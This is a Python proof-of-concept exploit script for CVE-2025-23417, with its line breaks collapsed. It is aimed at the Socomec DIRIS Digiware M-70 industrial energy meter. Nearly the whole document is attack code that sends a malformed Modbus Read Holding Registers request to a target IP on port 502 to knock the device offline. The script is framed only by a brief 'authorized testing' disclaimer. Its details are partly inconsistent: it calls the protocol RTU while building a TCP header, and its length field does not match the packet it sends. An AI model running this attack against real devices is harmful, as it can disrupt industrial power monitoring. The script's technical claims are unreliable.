CVE-2025-23417

#!/usr/bin/env python3 """ CVE-2025-23417 PoC - Socomec DIRIS Digiware M-70 Modbus RTU DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_malformed_modbus_packet(): """Create a malformed Modbus RTU packet to trigger DoS condition""" # Modbus TCP header (MBAP) transaction_id = struct.pack('>H', 0x0001) protocol_id = struct.pack('>H', 0x0000) length = struct.pack('>H', 0x0009) # Length of remaining bytes unit_id = struct.pack('B', 0xFF) # Unit identifier # Modbus PDU with malformed data function_code = struct.pack('B', 0x03) # Read Holding Registers starting_address = struct.pack('>H', 0x0000) # Malformed: invalid quantity that may cause buffer overflow quantity = struct.pack('>H', 0xFFFF) # Invalid quantity value packet = transaction_id + protocol_id + length + unit_id + \ function_code + starting_address + quantity return packet def exploit(target_ip, target_port=502): """Send malformed packet to trigger CVE-2025-23417""" print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Crafting malformed Modbus RTU packet...") packet = create_malformed_modbus_packet() try: print(f"[*] Sending malicious packet ({len(packet)} bytes)...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print(f"[+] Packet sent successfully") print(f"[*] Target may be experiencing DoS condition") sock.close() except socket.timeout: print(f"[-] Connection timeout - target may already be affected") except socket.error as e: print(f"[-] Socket error: {e}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 502 exploit(target, port)

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